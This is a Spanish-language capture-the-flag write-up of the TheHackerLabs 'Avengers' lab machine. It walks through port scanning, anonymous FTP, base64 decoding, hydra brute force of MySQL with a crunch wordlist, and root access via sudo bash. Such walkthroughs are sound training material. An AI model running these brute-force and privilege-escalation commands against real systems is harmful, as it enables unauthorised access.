Avengers - TheHackerLabs
Esta es una máquina fácil, pero que necesitas prestar mucha atención a todo lo que te encuentres. El reto de la máquina es obtener 9 flags que encontrarás conforme vulneres los servicios activos. Comenzamos primero enumerando el servicio FTP, donde encontramos una flag y un archivo ZIP. Luego, analizamos la página web en donde encontramos varias vulnerabilidades, siendo que aquí encontramos un usuario y contraseña que nos permiten ganar acceso a la máquina vía SSH. Dentro de la máquina, encontramos una pista que resulta ser una contraseña para poder descomprimir el archivo ZIP que habíamos encontrado, siendo otra pista para la contraseña del servicio MySQL. Creamos un wordlist con esta pista y aplicamos fuerza bruta al servicio MySQL, logrando encontrar la contraseña y ganar acceso al MySQL. Enumeramos las bases de datos y encontramos una que contiene la contraseña de otro usuario. Nos autenticamos como este usuario y descubrimos que tiene privilegios de Root para usar la Bash, con lo que logramos escalar privilegios y convertirnos en Root.
Herramientas utilizadas:
- ping
- nmap
- ftp
- wappalizer
- ffuf
- gobuster
- echo
- base64
- ssh
- sudo
- grep
- tree
- cat
- unzip
- crunch
- hydra
- mysql
- bash
- python3
- nano
- id
- su
- strings
Índice
- Recopilación de Información
- Análisis de Vulnerabilidades
- Explotación de Vulnerabilidades
- Post Explotación
- Enumeración de Archivos del Usuario Hulk
- Aplicando Fuerza Bruta y Enumeración al Servicio MySQL
- Autenticandonos como Usuario stif y Escalando Privilegios para Ser Root
- Enumeración de Archivos del Usuario stif
- Enumeración de Archivos del Usuario thanos
- Enumeración de Archivos del Usuario antman
- Obteniendo las Flags de la Máquina y la Última Flag del Reto
- Links de Investigación
Recopilación de Información
Traza ICMP
Vamos a realizar un ping para saber si la máquina está activa y en base al TTL veremos que SO opera en la máquina.
ping -c 4 192.168.10.80
PING 192.168.10.80 (192.168.10.80) 56(84) bytes of data.
64 bytes from 192.168.10.80: icmp_seq=1 ttl=64 time=1.58 ms
64 bytes from 192.168.10.80: icmp_seq=2 ttl=64 time=0.928 ms
64 bytes from 192.168.10.80: icmp_seq=3 ttl=64 time=1.57 ms
64 bytes from 192.168.10.80: icmp_seq=4 ttl=64 time=0.910 ms
--- 192.168.10.80 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3009ms
rtt min/avg/max/mdev = 0.910/1.248/1.582/0.329 ms
Por el TTL sabemos que la máquina usa Linux, hagamos los escaneos de puertos y servicios.
Escaneo de Puertos
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 192.168.10.80 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-03 09:29 CST
Initiating ARP Ping Scan at 09:29
Scanning 192.168.10.80 [1 port]
Completed ARP Ping Scan at 09:29, 0.08s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 09:29
Scanning 192.168.10.80 [65535 ports]
Discovered open port 21/tcp on 192.168.10.80
Discovered open port 80/tcp on 192.168.10.80
Discovered open port 3306/tcp on 192.168.10.80
Discovered open port 22/tcp on 192.168.10.80
Completed SYN Stealth Scan at 09:29, 26.40s elapsed (65535 total ports)
Nmap scan report for 192.168.10.80
Host is up, received arp-response (0.00073s latency).
Scanned at 2025-06-03 09:29:14 CST for 26s
Not shown: 65531 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
21/tcp open ftp syn-ack ttl 64
22/tcp open ssh syn-ack ttl 64
80/tcp open http syn-ack ttl 64
3306/tcp open mysql syn-ack ttl 64
MAC Address: XX (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 26.62 seconds
Raw packets sent: 131079 (5.767MB) | Rcvd: 19 (900B)
Parámetros | Descripción |
---|---|
-p- | Para indicarle un escaneo en ciertos puertos. |
–open | Para indicar que aplique el escaneo en los puertos abiertos. |
-sS | Para indicar un TCP Syn Port Scan para que nos agilice el escaneo. |
–min-rate | Para indicar una cantidad de envió de paquetes de datos no menor a la que indiquemos (en nuestro caso pedimos 5000). |
-vvv | Para indicar un triple verbose, un verbose nos muestra lo que vaya obteniendo el escaneo. |
-n | Para indicar que no se aplique resolución dns para agilizar el escaneo. |
-Pn | Para indicar que se omita el descubrimiento de hosts. |
-oG | Para indicar que el output se guarde en un fichero grepeable. Lo nombre allPorts. |
Hay algunos puertos abiertos, siendo el puerto 21 y 3306 los que me da curiosidad que esté abiertos.
Escaneo de Servicios
nmap -sCV -p 21,22,80,3306 192.168.10.80 -oN targeted
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-03 09:30 CST
Nmap scan report for 192.168.10.80
Host is up (0.0013s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: PASV failed: 550 Permission denied.
| ftp-syst:
| STAT:
| FTP server status:
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 2
| vsFTPd 3.0.5 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 6f:85:17:02:1a:9d:94:c3:b3:4e:92:4b:05:3a:96:a2 (ECDSA)
|_ 256 57:6b:d4:59:bd:3b:b5:c0:3f:1b:7e:c0:b9:9a:69:6d (ED25519)
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Avengers Hacking \xC3\x89tico
| http-robots.txt: 2 disallowed entries
|_/webs/ /mysql/
3306/tcp open mysql MySQL 8.0.36-0ubuntu0.22.04.1
| mysql-info:
| Protocol: 10
| Version: 8.0.36-0ubuntu0.22.04.1
| Thread ID: 9
| Capabilities flags: 65535
| Some Capabilities: SupportsLoadDataLocal, IgnoreSpaceBeforeParenthesis, Support41Auth, ConnectWithDatabase, SupportsTransactions, IgnoreSigpipes, LongPassword, SwitchToSSLAfterHandshake, InteractiveClient, Speaks41ProtocolNew, FoundRows, Speaks41ProtocolOld, SupportsCompression, LongColumnFlag, DontAllowDatabaseTableColumn, ODBCClient, SupportsMultipleStatments, SupportsAuthPlugins, SupportsMultipleResults
| Status: Autocommit
| Salt: k T\x0C7 \x1E~A7_+;n]\x06F`_m
|_ Auth Plugin Name: caching_sha2_password
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=MySQL_Server_8.0.36_Auto_Generated_Server_Certificate
| Not valid before: 2024-03-21T19:56:11
|_Not valid after: 2034-03-19T19:56:11
MAC Address: XX (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.02 seconds
Parámetros | Descripción |
---|---|
-sC | Para indicar un lanzamiento de scripts básicos de reconocimiento. |
-sV | Para identificar los servicios/versión que están activos en los puertos que se analicen. |
-p | Para indicar puertos específicos. |
-oN | Para indicar que el output se guarde en un fichero. Lo llame targeted. |
Analizando el escaneo, parece que podemos autenticarnos en el servicio FTP del puerto 21 como el usuario anonymous, aunque no pudo listar su contenido.
La página web activa en el puerto 80 está mostrando 2 directorios que podemos visitar después. Además, está mostrando contenido, por lo que parece ser una página vacía.
Por último, parece que podemos autenticarnos al servicio MySQL del puerto 3306, pero de momento no tenemos credenciales válidas.
Vayamos primero al servicio FTP y luego a la página web.
Análisis de Vulnerabilidades
Enumeración de Servicio FTP
Entremos:
ftp 192.168.10.80
Connected to 192.168.10.80.
220 Welcome to blah FTP service.
Name (192.168.10.80:berserkwings): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
Bien, vamos a listar los recursos que están aquí:
ftp> ls
550 Permission denied.
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r-- 1 0 0 459 Mar 24 2024 FLAG.txt
-rw-r--r-- 1 0 0 417 Mar 24 2024 credential_mysql.txt.zip
226 Directory send OK.
Tenemos una flag y un archivo ZIP que parece contener la contraseña del servicio MySQL.
Descarguémoslos:
ftp> get FLAG.txt
ftp> binary
200 Switching to Binary mode.
ftp> get credential_mysql.txt.zip
ftp> exit
221 Goodbye.
Veamos qué dice el archivo FLAG.txt:
cat FLAG.txt
.
### ### ##
## ## ## ####
# ## #### ### ## ####
#### ## ## ## ## ##
## ## ##### ## ## ##
## ## ## ## #####
#### #### ##### ## ##
#####
.
Alright, you have flag 3/9.
This flag is worth 10 points.
Wow, you found this flag very quickly, we should secure this FTP more...
Tendremos que conseguir 8 flags para completar con el objetivo final.
Dejaremos el archivo ZIP para más tarde, ya que no lo podremos crackear (al menos yo no pude).
Vayamos a la página web.
Analizando Servicio HTTP
Entremos:
Bastante extraña esta página, pero ahí podemos ver una página de inicio y otra que se llama secreta. Además, vemos el botón hackear.
Veamos qué nos dice Wappalizer:
No hay mucho que nos muestre y nos ayude.
Si damos click en el botón Hackear, nos saldrá un mensaje de alerta:
Revisando el código fuente de esta página, encontraremos cosillas interesantes:
Ahí está la página secreta y parece que hay una oculta que se llama developers.html.
Podemos ver el script que aplica el mensaje de alerta.
Y vemos un comentario que menciona una ruta de un directorio llamada /code
.
Si entramos en ese directorio, encontraremos una página llamada code.html:
Al entrar no veremos nada, pues todo estará en blanco, pero si revisamos el código fuente, podremos ver un par de comentarios, siendo el último una especie de mensaje codificado por Pikachu:
Investigando ese mensaje codificado, resulta que es codificación pikalang:
Codificación Pikalang |
---|
Pikalang es un lenguaje de programación esotérico y de broma creado por Blake Grotewold . Es idéntico a Brainfuck , salvo que las instrucciones se sustituyen por los sonidos de Pikachu de Pokémon. Es una de las muchas sustituciones triviales de comandos de Brainfuck. |
Podemos decodificar este mensaje con la siguiente página: dcode - pikalang
Al hacerlo, nos da un mensaje de burla:
Ni una pista.
Movámonos a la página secreta.
Analizando Página secrets.html
Entrando ahí, veremos un buscador:
Sí buscamos algo, nos dará el mismo mensaje.
Revisemos el código fuente:
Vemos las mismas páginas que vimos en el código fuente de la página principal.
Pero me llama la atención el script que aparece ahí, vamos a verlo:
Parece que al darle la frase “fuerzabruta”, nos da el nombre Hulk. ¿Esto será un usuario y contraseña?
Guardémoslos para después.
Analizando Página developers.html
Entremos a esta página que aparece en el código fuente de la página principal y de la página secrets.html:
Encontramos un login.
Pero al utilizar credenciales random, nos saldrá un mensaje de error en MySQL:
Veamos el código fuente para entender mejor este error:
Muy bien, parece que este formulario es vulnerable a inyecciones SQL, no solo porque lo mencioné sino porque la consulta que se aplica para revisar el usuario y contraseña dados, no está aplicando ninguna sanitización, por lo que podemos aplicar inyecciones SQL para hacer un bypass de este login.
La cuestión aquí, es que parece que no importa lo que le demos, siempre nos da el error connect_error) { die
, indicando que no estamos conectándonos a la base de datos.
Puede que la BD no esté levantada o haya un problema de conexión en la BD.
Quizá ese usuario que aparece, nos sirva para más adelante, así que guárdalo.
Como no veo otra cosa que podamos analizar de las páginas que ya vimos, solamente queda aplicar Fuzzing.
Fuzzing
Empecemos con ffuf:
ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-big.txt:FUZZ -u http://192.168.10.80/FUZZ -t 300
.
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://192.168.10.80/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-big.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 300
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
php [Status: 301, Size: 314, Words: 20, Lines: 10, Duration: 138ms]
flags [Status: 301, Size: 316, Words: 20, Lines: 10, Duration: 118ms]
css [Status: 301, Size: 314, Words: 20, Lines: 10, Duration: 84ms]
code [Status: 301, Size: 315, Words: 20, Lines: 10, Duration: 242ms]
mysql [Status: 301, Size: 316, Words: 20, Lines: 10, Duration: 177ms]
webs [Status: 301, Size: 315, Words: 20, Lines: 10, Duration: 154ms]
[Status: 200, Size: 1105, Words: 268, Lines: 39, Duration: 242ms]
server-status [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 69ms]
:: Progress: [1185240/1185240] :: Job [1/1] :: 1440 req/sec :: Duration: [0:12:17] :: Errors: 0 ::
Parámetros | Descripción |
---|---|
-w | Para indicar el diccionario a usar en el fuzzing. |
-u | Para indicar la URL a utilizar. |
-t | Para indicar la cantidad de hilos a usar. |
Ahora probemos con gobuster:
gobuster dir -u http://192.168.10.80/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-big.txt -t 300
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.10.80/
[+] Method: GET
[+] Threads: 300
[+] Wordlist: /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/php (Status: 301) [Size: 314] [--> http://192.168.10.80/php/]
/flags (Status: 301) [Size: 316] [--> http://192.168.10.80/flags/]
/code (Status: 301) [Size: 315] [--> http://192.168.10.80/code/]
/css (Status: 301) [Size: 314] [--> http://192.168.10.80/css/]
/mysql (Status: 301) [Size: 316] [--> http://192.168.10.80/mysql/]
/webs (Status: 301) [Size: 315] [--> http://192.168.10.80/webs/]
/server-status (Status: 403) [Size: 279]
Progress: 1185240 / 1185241 (100.00%)
===============================================================
Finished
===============================================================
Parámetros | Descripción |
---|---|
-u | Para indicar la URL a utilizar. |
-w | Para indicar el diccionario a usar en el fuzzing. |
-t | Para indicar la cantidad de hilos a usar. |
Encontramos varios directorios, pero de ellos solamente no hemos visto el contenido del directorio /flags
y /mysql
.
Veamos qué descubrimos.
Analizando Contenido de Directorio /flags
Entremos:
Parece que solamente hay un archivo y es una flag:
Encontramos la flag 1.
Con esto, ya tenemos 2 flags.
Analizando Contenido de Directorio /mysql
Entremos:
Solamente hay dos archivos y uno de ellos es una flag:
Muy bien, encontramos la flag 2.
Ya tenemos 3 flags.
Veamos el otro archivo llamado mysql.html:
Solamente muestra un mensaje para que descubramos los secretos de la base de datos.
Veamos el código fuente:
Al final, encontramos un comentario que indica que es una contraseña de algún usuario que está por ahí.
Pero esta contraseña parece estar codificada.
Analicémosla y decodifiquémosla.
Explotación de Vulnerabilidades
Decodificando Contraseña en Base64 y Ganando Acceso a la Máquina Víctima Vía Servicio SSH
Analicemos la contraseña:
- Primero, si contamos cuantos caracteres tiene, descubrimos que tiene 32, siendo este un número par, que es indicativo de que se usó base64 para codificarlo.
- Segundo, se pueden ver letras variadas de todo el abecedario, tanto en minúsculas como en mayúsculas y se usan números también.
- Tercero, si lo decodificamos una vez en base64, podremos ver que tiene 24 caracteres y podemos ver los caracteres ”==”, siendo otro indicativo de base64.
En resumen, la contraseña se codificó en base64 por lo menos 3 veces.
La puedes decodificar de esta forma:
echo -n "V201V2JHTnVjR2haYmtveFpFZEZQUT09" | base64 -d | base64 -d | base64 -d
fuerzabruta
Curiosamente, ya habíamos visto esa contraseña en el script utilizado por la página secret.html, que al usarla, menciona al personaje Hulk.
Quizá estas credenciales sirvan para entrar al servicio SSH.
Comprobémoslo:
ssh hulk@192.168.10.80
hulk@192.168.10.80's password:
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-101-generic x86_64)
...
...
Last login: Tue Jun 3 17:28:16 2025
hulk@TheHackersLabs-Avengers:~$ whoami
hulk
Estamos dentro.
Aquí encontramos una flag, pero nos da un mensaje en lugar de la flag del usuario:
hulk@TheHackersLabs-Avengers:~$ cat user.txt
.
###
##
#### ## ## ## ####
## ## ## ## ## ## ##
## ## ## ## ######
## ## ## ## ## ##
#### #### ###### #####
.
The FLAG will have to be somewhere in this directory... just look carefully
Investiguemos.
Post Explotación
Enumeración de Archivos del Usuario Hulk
Veamos si nuestro usuario tiene algún privilegio:
hulk@TheHackersLabs-Avengers:~$ sudo -l
[sudo] password for hulk:
Sorry, user hulk may not run sudo on TheHackersLabs-Avengers.
No tenemos ninguno.
Comprobemos qué usuarios existen en la máquina:
hulk@TheHackersLabs-Avengers:~$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
thanos:x:1000:1000:thanos:/home/thanos:/bin/bash
stif:x:1001:1001:stif,,,:/home/stif:/bin/bash
hulk:x:1002:1002:hulk,,,:/home/hulk:/bin/bash
antman:x:1003:1003:antman,,,:/home/antman:/bin/bash
Hay 5 usuarios, incluyéndonos.
Revisemos los archivos de este usuario:
hulk@TheHackersLabs-Avengers:~$ ls -la
total 48
drwxr-xr-x 8 hulk hulk 4096 ago 15 2024 .
drwxr-xr-x 6 root root 4096 mar 21 2024 ..
lrwxrwxrwx 1 root root 9 ago 15 2024 .bash_history -> /dev/null
-rw-r--r-- 1 hulk hulk 220 mar 21 2024 .bash_logout
-rw-r--r-- 1 hulk hulk 3771 mar 21 2024 .bashrc
drwx------ 2 hulk hulk 4096 mar 21 2024 .cache
drwxr-xr-x 7 root root 4096 mar 24 2024 db
drwxrwxr-x 3 hulk hulk 4096 ago 15 2024 .local
drwxr-xr-x 3 root root 4096 mar 23 2024 mysql
drwxr-xr-x 2 root root 4096 mar 22 2024 .passwd
-rw-r--r-- 1 hulk hulk 807 mar 21 2024 .profile
-rw-r--r-- 1 root root 280 mar 24 2024 user.txt
drwxr-xr-x 2 root root 4096 mar 22 2024 wait
Hay varios directorios y vemos la flag del usuario:
hulk@TheHackersLabs-Avengers:~$ cat user.txt
.
###
##
#### ## ## ## ####
## ## ## ## ## ## ##
## ## ## ## ######
## ## ## ## ## ##
#### #### ###### #####
.
The FLAG will have to be somewhere in this directory... just look carefully
Bien, entonces debemos buscar la flag por aquí o quizá lo tendrá otro usuario.
Para no ir revisando de uno en uno, utilicemos el comando tree para que nos muestre todos los archivos del directorio actual (-a
):
hulk@TheHackersLabs-Avengers:~$ tree -a
.
├── .bash_history -> /dev/null
├── .bash_logout
├── .bashrc
├── .cache
│ └── motd.legal-displayed
├── db
│ ├── f
│ │ └── burro
│ ├── flag
│ │ └── NO_FLAG.txt
│ ├── g
│ │ └── algo
│ ├── no
│ │ └── no
│ │ └── no
│ │ └── nothing
│ └── no_flag
│ ├── flag
│ │ └── FLAG.txt
│ └── no
│ └── posibiliti
├── .local
│ └── share
│ └── nano
├── mysql
│ └── hint
│ ├── avengers
│ ├── QUEEE
│ │ └── .nothing.txt
│ ├── wo
│ └── zip
│ └── shit_how_they_did_know_this_password.txt
├── .passwd
│ ├── escalate_privileges.sh
│ └── README.txt
├── .profile
├── user.txt
└── wait
└── decrypt.txt
Hay varios archivos que podemos ver.
Primero, veamos esa flag:
hulk@TheHackersLabs-Avengers:~$ cat db/no_flag/flag/FLAG.txt
### ### ##
## ## ## ####
# ## #### ### ## ####
#### ## ## ## ## ##
## ## ##### ## ## ##
## ## ## ## #####
#### #### ##### ## ##
#####
Alright, you have the 5/9 flag.
This flag is worth 10 points.
You found the flag hidden among many directories, how clever...
Excelente, tenemos la cuarta flag.
Curiosamente, parece que encontramos la contraseña para el archivo ZIP que no pudimos crackear:
hulk@TheHackersLabs-Avengers:~$ cat mysql/hint/zip/shit_how_they_did_know_this_password.txt
###
##
## ## ## ## ##### ###### ##
####### ## ## ## ## ## ##
## # ## ## ## ##### ## ## ##
## ## ##### ## ##### ##
## ## ## ###### ## ####
##### ####
.
Congratulations, you found the password to decrypt the compressed FTP .zip file
Now you know what to do with this... I guess
password: (You thought I would give you the password so quickly, because if you look closely at the file you would see the password more clearly...)
Claramente, la contraseña archivo ZIP es el nombre de este archivo, pero guardémosla de momento.
En un directorio oculto, hay un script que no podemos ver ni usar, ya que pertenece al Root y un archivo README.txt:
hulk@TheHackersLabs-Avengers:~/.passwd$ cat README.txt
You will find a user who can do "sudo /usr/bin/bash" to be able to run that .sh without passwd, be patient hehe
Si esto es cierto, podríamos escalar privilegios enseguida.
Por último, hay un archivo llamado decrypt.txt:
hulk@TheHackersLabs-Avengers:~$ cat wait/decrypt.txt
I'm going to provide you with a decryption password for some file, guess which file could be the one that decrypts this...
Password: decryptavengers
### ### ### ### ######
## ## ## #### ## ##
### ## #### #### ## ## #### #### ## ## ## ## ##
## ## ## ## ## ## ##### ## ## ## ## ## ## ## ## ## ##
## ## ## ## ## ## ## ## ## ## ## ## ## #### ####### ##
##### ## ## ## ## ## ## ## ## ## ## ## ## ## ## ##
## #### #### ###### #### #### #### ## ## ## ##
#####
Guardemos esta contraseña para más adelante.
Ya que no hay nada más que ver, vamos a descomprimir el archivo ZIP que contiene la contraseña del servicio MySQL.
Aplicando Fuerza Bruta y Enumeración al Servicio MySQL
Al descomprimir el archivo ZIP con la herramienta unzip, tenemos un archivo de texto que contiene la contraseña del servicio MySQL:
unzip credential_mysql.txt.zip
Archive: credential_mysql.txt.zip
[credential_mysql.txt.zip] credential_mysql.txt password:
inflating: credential_mysql.txt
Leámoslo:
cat credential_mysql.txt
Listen, stif, I sent you the password of my MySQL user by email, but I think you didn't get it, I'll send it to you here:
User: hulk
Password: fuerzabrutaXXXX
Remember to change the "XXXX" to a secure number combination before sending.
HINT: it is in a range of 0-3000
Bien, tenemos que crear un wordlist para poder aplicar fuerza bruta.
Lo creamos con la herramienta crunch:
crunch 15 15 0123456789 -t fuerzabruta@@@@ -o wordlist.txt
Crunch will now generate the following amount of data: 160000 bytes
0 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 10000
Y aplicamos fuerza bruta con hydra:
hydra -l 'hulk' -P wordlist.txt mysql://192.168.10.80 -t 64
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-06-03 11:38:55
[INFO] Reduced number of tasks to 4 (mysql does not like many parallel connections)
[DATA] max 4 tasks per 1 server, overall 4 tasks, 10000 login tries (l:1/p:10000), ~2500 tries per task
[DATA] attacking mysql://192.168.10.80:3306/
[3306][mysql] host: 192.168.10.80 login: hulk password: fuerzabruta2024
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 1 final worker threads did not complete until end.
[ERROR] 1 target did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-06-03 11:39:27
Genial, la tenemos.
Entremos al servicio MySQL:
mysql -u 'hulk' -h 192.168.10.80 -P 3306 -p --skip-ssl
Enter password:
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MySQL connection id is 4073
Server version: 8.0.36-0ubuntu0.22.04.1 (Ubuntu)
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Support MariaDB developers by giving a star at https://github.com/MariaDB/server
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MySQL [(none)]>
Aquí podemos encontrar otra flag en la base de datos llamada db_flag:
MySQL [(none)]> use db_flag;
MySQL [db_flag]> select * from flag;
+----+----------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| id | flag | content |
+----+----------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| 1 | FLAG.txt | Alright, you have the 4/9 flag. This flag is worth 10 points. Now that you have this flag, keep looking, you are getting closer to the end, but there is still a long way to go. |
+----+----------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
1 row in set (0.002 sec)
Ya tenemos 5 flags.
Hay otra BD que tiene datos de nuestro interés:
MySQL [mysql]> use no_db;
MySQL [no_db]> show tables;
+-----------------+
| Tables_in_no_db |
+-----------------+
| passwords |
| users |
+-----------------+
2 rows in set (0.002 sec)
Si vemos la tabla passwords, encontraremos la posible contraseña del Root:
MySQL [no_db]> select * from passwords;
+----+--------------------------------------------------------------+----------------------------------------------------+
| id | password | description |
+----+--------------------------------------------------------------+----------------------------------------------------+
| 1 | wr9UZSBjcmVlcyBxdWUgc2VyaWEgdGFuIGZhY2lsPyBKQUpBSkFKQUpKQUpB | Desencripta esa contraseña para poder ser root ;) |
+----+--------------------------------------------------------------+----------------------------------------------------+
1 row in set (0.002 sec)
Parece que está en base64.
Vamos a comprobarlo:
echo -n "wr9UZSBjcmVlcyBxdWUgc2VyaWEgdGFuIGZhY2lsPyBKQUpBSkFKQUpKQUpB" | base64 -d
¿Te crees que seria tan facil? JAJAJAJAJJAJA
Muy gracioso.
Viendo la tabla users, encontramos algo muy útil:
MySQL [no_db]> select * from users;
+----+--------+---------------+
| id | user | password |
+----+--------+---------------+
| 1 | stif | escudoamerica |
| 2 | hulk | fuerza***** |
| 3 | antman | ****** |
| 4 | thanos | NOPASSWD |
+----+--------+---------------+
4 rows in set (0.002 sec)
La única contraseña que podemos probar, será la del usuario stif.
Autenticandonos como Usuario stif y Escalando Privilegios para Ser Root
Desde nuestra sesión del usuario hulk, nos autenticamos como el usuario stif:
hulk@TheHackersLabs-Avengers:~$ su stif
Password:
stif@TheHackersLabs-Avengers:/home/hulk$ whoami
stif
Obtengamos los privilegios de este usuario:
stif@TheHackersLabs-Avengers:~$ sudo -l
Matching Defaults entries for stif on TheHackersLabs-Avengers:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User stif may run the following commands on TheHackersLabs-Avengers:
(ALL : ALL) NOPASSWD: /usr/bin/bash
(ALL : ALL) NOPASSWD: /usr/bin/unzip
Excelente, podemos usar la Bash como Root.
Ósea, que podemos iniciar una Bash con privilegios de Root:
stif@TheHackersLabs-Avengers:~$ sudo bash -p
root@TheHackersLabs-Avengers:/home/stif# whoami
root
Puedes dar por terminada la máquina aquí y solamente buscar las flags del usuario y del Root.
En mi caso, continuaré como el usuario stif, buscaré las flags que faltan y al final mostraré dónde se ubican las flags del usuario y del Root.
Enumeración de Archivos del Usuario stif
Veamos qué archivos nos encontramos por aquí:
stif@TheHackersLabs-Avengers:~$ tree -a
.
├── .bash_history -> /dev/null
├── .bash_logout
├── .bashrc
├── flag
│ └── FLAG.txt.zip
├── game.py
├── .local
│ └── share
│ └── nano
├── pista
│ └── db.bin
├── .power
│ ├── fichero
│ │ └── .script.sh.zip
│ └── no_entres_aqui
│ └── README.txt
├── .profile
└── user.txt
Primero, vamos a ver la flag del usuario:
stif@TheHackersLabs-Avengers:~$ cat user.txt
cat: user.txt: Permission denied
No tenemos permisos para ver la flag, por lo que podemos pensar que esta es la flag del usuario de la máquina.
Continuemos.
Ahí hay un script llamado game.py, pero en lugar de ver su contenido, vamos a ejecutarlo:
stif@TheHackersLabs-Avengers:~$ python3 game.py
¿Cuál es el primer vengador que muere en las películas de los Avengers? tony stark
¡Correcto! La contraseña es: flag12345ver
Tenemos una contraseña.
Con esta, podemos descomprimir el archivo FLAG.txt.zip:
stif@TheHackersLabs-Avengers:~$ sudo unzip flag/FLAG.txt.zip
Archive: flag/FLAG.txt.zip
[flag/FLAG.txt.zip] FLAG.txt password:
inflating: FLAG.txt
Vamos a leer esa flag:
stif@TheHackersLabs-Avengers:~$ cat FLAG.txt
### ### ##
## ## ## ####
# ## #### ### ## ####
#### ## ## ## ## ##
## ## ##### ## ## ##
## ## ## ## #####
#### #### ##### ## ##
#####
Alright, you have the 6/9 flag.
This flag is worth 10 points.
well well, you are advancing more little by little, now to get the rest
good luck
Ya tenemos 6 flags.
Otro archivo que podemos leer es el README.txt:
stif@TheHackersLabs-Avengers:~$ cat .power/no_entres_aqui/README.txt
Somewhere you can find the password that unzips the .script.sh.zip file, you just have to look harder... Good luck ;D
Si recordamos, ya habíamos encontrado una contraseña antes que justo, indica que se puede usar para descomprimir un archivo:
stif@TheHackersLabs-Avengers:~$ sudo unzip .power/fichero/.script.sh.zip
Archive: .power/fichero/.script.sh.zip
[.power/fichero/.script.sh.zip] .script.sh password:
inflating: .script.sh
Ejecutemos ese script:
stif@TheHackersLabs-Avengers:~$ sudo bash .script.sh
stif ALL=(ALL:ALL) NOPASSWD: /usr/bin/nano
Se ha añadido la configuración para el usuario stif en el archivo sudoers.
Muy bien, podemos usar nano como Root.
Podemos comprobarlo, revisando nuestros privilegios:
stif@TheHackersLabs-Avengers:~$ sudo -l
Matching Defaults entries for stif on TheHackersLabs-Avengers:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User stif may run the following commands on TheHackersLabs-Avengers:
(ALL : ALL) NOPASSWD: /usr/bin/bash
(ALL : ALL) NOPASSWD: /usr/bin/unzip
(ALL : ALL) NOPASSWD: /usr/bin/nano
Ahí está.
Gracias a este nuevo privilegio, podemos ver el archivo db.bin:
stif@TheHackersLabs-Avengers:~$ sudo nano pista/db.bin
Resulta que contiene código binario que podemos decodificar utilizando cyberchef:
Hagámoslo:
Tenemos una pista para encontrar la contraseña de otro usuario, siendo que debe ser una palabra de 6 caracteres.
Realizando varias pruebas, resulta que quien tenemos que usar es a thanos:
stif@TheHackersLabs-Avengers:~$ su thanos
Password:
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
